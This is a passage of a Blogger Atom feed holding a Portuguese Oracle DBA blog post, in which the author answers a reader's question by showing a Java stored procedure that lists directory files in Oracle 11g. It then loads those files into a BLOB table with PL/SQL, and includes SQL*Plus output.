<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-12326579</id><updated>2012-02-17T01:01:55.571-02:00</updated><category term='New Feature'/><category term='how to'/><category term='Performance'/><category term='Security'/><category term='Duvidas'/><category term='Training'/><title type='text'>Blog do Marcio Portes</title><subtitle type='html'>&lt;a href="http://www.oracle.com/technology/oramag/code/tips2006/052906.html"&gt;Minha dica publicada na Oracle Magazine&lt;/a&gt;</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mportes.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12326579/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://mportes.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Marcio</name><uri>http://www.blogger.com/profile/14157346821423310492</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='22' src='http://photos1.blogger.com/img/120/5316/640/foto_blog.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>100</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-12326579.post-3739708349748081790</id><published>2009-05-21T00:02:00.006-03:00</published><updated>2009-05-21T01:33:18.086-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><category scheme='http://www.blogger.com/atom/ns#' term='Duvidas'/><title type='text'>Leitura de Arquivos pelo PL/SQL e Java</title><content type='html'>Dúvida:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;Marcio,&lt;br /&gt;&lt;br /&gt;Bom dia!&lt;br /&gt;&lt;br /&gt;Visitei seu BLOG e encontrei um exemplo pra inserir arquivo num campo BLOB numa tabela de banco de dados do ORACLE.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mportes.blogspot.com/2005/06/gerar-arquivo-de-campo-blob.html"&gt;Gerar Arquivo de Campo BLOB&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Funcionou, beleza, porem a minha necessidade seria ,inserir todos os arquivos  de um determindo diretorio  em uma tabela.&lt;br /&gt;&lt;br /&gt;Voce teria alguma dica, ou algum exemplo que poderia me auxiliar ?&lt;br /&gt;&lt;br /&gt;Desde já agradeco pela ajuda.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Em minha resposta imediata, informei ao colega que era necessário usar uma procedure java para ler os arquivos do diretório no nível do sistema operacional e, desse modo, usar a coleção da forma que lhe convier. Não sou desenvolvedor java, então fui obrigado a pesquisar, acabei encontrando um ótimo código que irei "emprestar" para meu exemplo. O site onde o encontrei é a &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:439619916584#1565062600346635117"&gt;asktom&lt;/a&gt;, o fonte não pertence ao Tom Kyte e sim ao Anthony Wilson da Austrália. Na mesma thread é possível encontrar outros exemplos assim como excelentes respostas do Tom sobre o assunto.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Eu achei interessante a solução do Anthony na medida em que a informação devolvida é completa. Ele usou um type com informação do tipo: se arquivo; se legível; se gravável; se escondido; tamanho do arquivo em bytes; e última modificação.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; set lines 80&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; desc DIR_ENTRY&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Name                                      Null?    Type&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ----------------------------------------- -------- ----------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; FILE_TYPE                                          VARCHAR2(1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; READABLE                                           VARCHAR2(1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; WRITEABLE                                          VARCHAR2(1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; HIDDEN                                             VARCHAR2(1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; FILE_SIZE                                          NUMBER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; MODIFIED                                           DATE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; NAME                                               VARCHAR2(4000)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Meu exemplo dar-se-á em um Oracle 11g com o java (JVM) rodando sobre Linux EL5. Caso haja interesse em reproduzir o exemplo, por favor, cheque suas configurações e verifique se estão parecidas.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@pc scripts]$ uname -a&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Linux pc.mportes.local 2.6.18-8.el5PAE #1 SMP Tue Jun 5 23:39:57 EDT 2007 i686 i686 i386 GNU/Linux&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@pc scripts]$ cat /etc/enterprise-release&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Enterprise Linux Enterprise Linux Server release 5 (Carthage)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;[marcio@pc scripts]$ sqlplus /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SQL*Plus: Release 11.1.0.7.0 - Production on Thu May 21 00:30:24 2009&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Copyright (c) 1982, 2008, Oracle.  All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Connected to:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;With the Partitioning, OLAP, Data Mining and Real Application Testing options&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select * from v$version;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;BANNER&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;--------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL Release 11.1.0.7.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;CORE    11.1.0.7.0      Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TNS for Linux: Version 11.1.0.7.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;NLSRTL Version 11.1.0.7.0 - Production&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;5 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select COMP_NAME, VERSION, STATUS from dba_registry;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;COMP_NAME                                VERSION                        STATUS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------- ------------------------------ -----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Application Express               3.2.0.00.27                    VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OWB                                      11.1.0.6.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Enterprise Manager                11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Ultra Search                      11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OLAP Catalog                             11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Spatial                                  11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Multimedia                        11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle XML Database                      11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Text                              11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Expression Filter                 11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Rules Manager                     11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Workspace Manager                 11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database Catalog Views            11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database Packages and Types       11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;JServer JAVA Virtual Machine             11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle XDK                               11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle Database Java Packages            11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;OLAP Analytic Workspace                  11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Oracle OLAP API                          11.1.0.7.0                     VALID&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;div style="text-align: justify;"&gt;Em resumo, após criar a procedure java para fazer a leitura dos arquivos no diretório, vou salvá-los em uma tabela. Note que é possível usar a cláusula WHERE para selecionar os arquivos de acordo com os campos do  type DIR_ENTRY, exemplo: todos os arquivos a partir de uma data; trazer somente os arquivos visíveis, etc. Neste caso, vou subir todos meus archives '/oracle/arch'.&lt;br /&gt;&lt;/div&gt;&lt;pre style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; !ls -l /oracle/arch&lt;br /&gt;total 2377612&lt;br /&gt;-rw-r----- 1 oracle dba 100942848 May 20 02:23 1_100_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba 100943872 May 20 02:23 1_101_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba 100943872 May 20 15:33 1_102_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba  18439168 May 20 21:20 1_103_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba  57431552 Apr 27 22:15 1_17_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba  90300416 May 17 19:56 1_90_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba  73134080 May 17 21:35 1_91_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba   9502208 May 19 00:03 1_92_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba 100943872 May 19 00:39 1_93_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba  42433536 May 19 14:20 1_94_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba  19104768 May 19 20:17 1_95_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba 100943872 May 20 00:48 1_96_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba 100937216 May 20 02:22 1_97_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba 100942336 May 20 02:22 1_98_683430221.dbf&lt;br /&gt;-rw-r----- 1 oracle dba 100940288 May 20 02:22 1_99_683430221.dbf&lt;br /&gt;&lt;br /&gt;ops$marcio:DB11G&gt; create or replace type&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  dir_entry as object (&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3     file_type varchar2(1),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4     readable  varchar2(1),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5     writeable varchar2(1),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6     hidden    varchar2(1),&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7     file_size number,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8     modified  date,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9     name      varchar2(4000)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10  );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Type created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; create or replace type dir_array as table of dir_entry;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Type created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ops$marcio:DB11G&gt;&lt;br /&gt;ops$marcio:DB11G&gt; create or replace and compile java source named "Util" as&lt;br /&gt; 2 &lt;br /&gt; 3  import java.io.File;&lt;br /&gt; 4  import java.io.FilenameFilter;&lt;br /&gt; 5  import java.io.IOException;&lt;br /&gt; 6 &lt;br /&gt; 7  import java.sql.Connection;&lt;br /&gt; 8  import java.sql.SQLException;&lt;br /&gt; 9  import java.sql.ResultSet;&lt;br /&gt;10  import java.sql.PreparedStatement;&lt;br /&gt;11  import java.sql.Timestamp;&lt;br /&gt;12 &lt;br /&gt;13  import oracle.sql.ARRAY;&lt;br /&gt;14  import oracle.sql.STRUCT;&lt;br /&gt;15  import oracle.sql.ArrayDescriptor;&lt;br /&gt;16  import oracle.sql.StructDescriptor;&lt;br /&gt;17 &lt;br /&gt;18  import oracle.jdbc.driver.OracleDriver;&lt;br /&gt;19 &lt;br /&gt;20  public class Util {&lt;br /&gt;21 &lt;br /&gt;22      private static Connection conn;&lt;br /&gt;23 &lt;br /&gt;24      static {&lt;br /&gt;25          try {&lt;br /&gt;26              conn = (new OracleDriver()).defaultConnection();&lt;br /&gt;27          } catch (SQLException e) {&lt;br /&gt;28              System.out.println(e);&lt;br /&gt;29          }&lt;br /&gt;30      }&lt;br /&gt;31 &lt;br /&gt;32 &lt;br /&gt;33      /**&lt;br /&gt;34       * List the files in the directory represented by the given Oracle DIRECTORY&lt;br /&gt;35       * object.&lt;br /&gt;36       *&lt;br /&gt;37       * @param dirname The name of the DIRECTORY object for which we want to list&lt;br /&gt;38       * the files (case sensitive).&lt;br /&gt;39       * @throws IOException&lt;br /&gt;40       * @throws SQLException&lt;br /&gt;41       */&lt;br /&gt;42      public static ARRAY listFiles(String dirname)&lt;br /&gt;43          throws IOException, SQLException {&lt;br /&gt;44 &lt;br /&gt;45          String dirpath = getDirectoryPath(dirname);&lt;br /&gt;46          File directory = getDirectory(dirpath);&lt;br /&gt;47 &lt;br /&gt;48          STRUCT[] ret = fileList(directory);&lt;br /&gt;49 &lt;br /&gt;50          // Create an array descriptor and return it.&lt;br /&gt;51          ArrayDescriptor desc = ArrayDescriptor.createDescriptor (&lt;br /&gt;52              "DIR_ARRAY", conn);&lt;br /&gt;53 &lt;br /&gt;54          return new ARRAY(desc, conn, ret);&lt;br /&gt;55      }&lt;br /&gt;56 &lt;br /&gt;57      /**&lt;br /&gt;58       * Create a File object with the abstract pathname given by the parameter.&lt;br /&gt;59       *&lt;br /&gt;60       * @param dirpath The filesystem path of the directory&lt;br /&gt;61       * @throws IOException If the directory represented by this pathname does&lt;br /&gt;62       * not exist, or if it is a file.&lt;br /&gt;63       */&lt;br /&gt;64      private static File getDirectory(String dirpath) throws IOException {&lt;br /&gt;65 &lt;br /&gt;66          File directory = new File(dirpath);&lt;br /&gt;67 &lt;br /&gt;68          if(!directory.exists()) {&lt;br /&gt;69              throw new IOException("Directory: "+dirpath+" does not exist.");&lt;br /&gt;70          }&lt;br /&gt;71          if(!directory.isDirectory()) {&lt;br /&gt;72              throw new IOException("Path: "+dirpath+" is not a directory.");&lt;br /&gt;73          }&lt;br /&gt;74 &lt;br /&gt;75          return directory;&lt;br /&gt;76      }&lt;br /&gt;77 &lt;br /&gt;78      /**&lt;br /&gt;79       * Get the filesystem path for the Oracle DIRECTORY object given by the&lt;br /&gt;80       * input parameter.&lt;br /&gt;81       *&lt;br /&gt;82       * @param dir The name of the DIRECTORY object for which we want the path.&lt;br /&gt;83       * @throws IOException If there is no DIRECTORY object with the given name.&lt;br /&gt;84       */&lt;br /&gt;85      private static String getDirectoryPath(String dir)&lt;br /&gt;86          throws SQLException, IOException {&lt;br /&gt;87          String sql = "select directory_path from all_directories where " +&lt;br /&gt;88              "directory_name = ?";&lt;br /&gt;89 &lt;br /&gt;90          PreparedStatement s = conn.prepareStatement(sql);&lt;br /&gt;91          s.setString(1, dir);&lt;br /&gt;92          ResultSet rs = s.executeQuery();&lt;br /&gt;93 &lt;br /&gt;94          // There should be one row and one only.&lt;br /&gt;95          if(rs.next()) {&lt;br /&gt;96              return rs.getString(1);&lt;br /&gt;97          } else {&lt;br /&gt;98              throw new IOException("Directory object "+dir+" does not exist.");&lt;br /&gt;99          }&lt;br /&gt;100 &lt;br /&gt;101      }&lt;br /&gt;102 &lt;br /&gt;103      /**&lt;br /&gt;104       * Create an array of STRUCT objects representing the files in the given&lt;br /&gt;105       * directory.&lt;br /&gt;106       *&lt;br /&gt;107       * @param directory The File object representing the directory.&lt;br /&gt;108       * @throws SQLException&lt;br /&gt;109       */&lt;br /&gt;110      private static STRUCT[] fileList(File directory) throws SQLException {&lt;br /&gt;111 &lt;br /&gt;112          // Create the array of files to add.&lt;br /&gt;113          File[] files = directory.listFiles (&lt;br /&gt;114              new FilenameFilter() {&lt;br /&gt;115                  // Accept all files&lt;br /&gt;116                  public boolean accept(File dirpath, String name) {&lt;br /&gt;117                      return true;&lt;br /&gt;118                  }&lt;br /&gt;119              }&lt;br /&gt;120          );&lt;br /&gt;121 &lt;br /&gt;122          // No files in directory&lt;br /&gt;123          if(files == null) {&lt;br /&gt;124              return null;&lt;br /&gt;125          }&lt;br /&gt;126 &lt;br /&gt;127          STRUCT[] ret = new STRUCT[files.length];&lt;br /&gt;128 &lt;br /&gt;129          // Create the struct entry for each file.&lt;br /&gt;130          for(int i=0; i&amp;lt;files.length; i++) {&lt;br /&gt;131              File f = files[i];&lt;br /&gt;132              StructDescriptor sd = StructDescriptor.createDescriptor (&lt;br /&gt;133                  "DIR_ENTRY", conn);&lt;br /&gt;134              Object[] attributes = {&lt;br /&gt;135                  f.isDirectory() ? "D" : (f.isFile() ? "F" : "U"),&lt;br /&gt;136                  f.canRead() ? "Y" : "N",&lt;br /&gt;137                  f.canWrite() ? "Y" : "N",&lt;br /&gt;138                  f.isHidden() ? "Y" : "N",&lt;br /&gt;139                  new Long(f.length()),&lt;br /&gt;140                  new Timestamp(f.lastModified()),&lt;br /&gt;141                  f.getName()&lt;br /&gt;142              };&lt;br /&gt;143              STRUCT s = new STRUCT(sd, conn, attributes);&lt;br /&gt;144              ret[i] = s;&lt;br /&gt;145          }&lt;br /&gt;146 &lt;br /&gt;147          return ret;&lt;br /&gt;148      }&lt;br /&gt;149 &lt;br /&gt;150  }&lt;br /&gt;151  /&lt;br /&gt;&lt;br /&gt;Java created.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; create or replace package util&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  as&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3     function ls(p_dirname in varchar2) return dir_array;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Package created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; create or replace package body util&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2  as&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3     function ls(p_dirname in varchar2) return dir_array&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4     is&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5        language java name 'Util.listFiles(java.lang.String) return oracle.sql.ARRAY';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Package body created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; drop table t purge;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table dropped.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; create table t ( n varchar2(40), x blob );&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Table created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; create or replace directory test_dir as '/oracle/arch';&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Directory created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; declare&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  2       l_blob    blob;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  3       l_bfile   bfile;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  4       l_dir     varchar2(30) default 'TEST_DIR';&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  5  begin&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  6       for x in ( select name from table(util.ls(l_dir)))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  7       loop&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  8           insert into t( n, x ) values ( x.name, empty_blob() ) returning x into l_blob;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  9           l_bfile := bfilename( l_dir, x.name );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 10           dbms_lob.fileopen( l_bfile );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 11           dbms_lob.loadfromfile( l_blob, l_bfile, dbms_lob.getlength( l_bfile ) );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 12           dbms_lob.fileclose( l_bfile );&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 13       end loop;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 14  end;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; 15  /&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;PL/SQL procedure successfully completed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ops$marcio:DB11G&gt; select n, dbms_lob.getlength(x) bytes from t;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;N                                                BYTES&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;---------------------------------------- -------------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_17_683430221.dbf                            57431552&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_97_683430221.dbf                           100937216&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_101_683430221.dbf                          100943872&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_92_683430221.dbf                             9502208&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_98_683430221.dbf                           100942336&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_103_683430221.dbf                           18439168&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_94_683430221.dbf                            42433536&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_102_683430221.dbf                          100943872&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_100_683430221.dbf                          100942848&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_96_683430221.dbf                           100943872&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_95_683430221.dbf                            19104768&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_90_683430221.dbf                            90300416&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_99_683430221.dbf                           100940288&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_91_683430221.dbf                            73134080&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1_93_683430221.dbf                           100943872&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;15 rows selected.&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;É bom lembrar que se for a primeira execução, o exemplo possivelmente vai 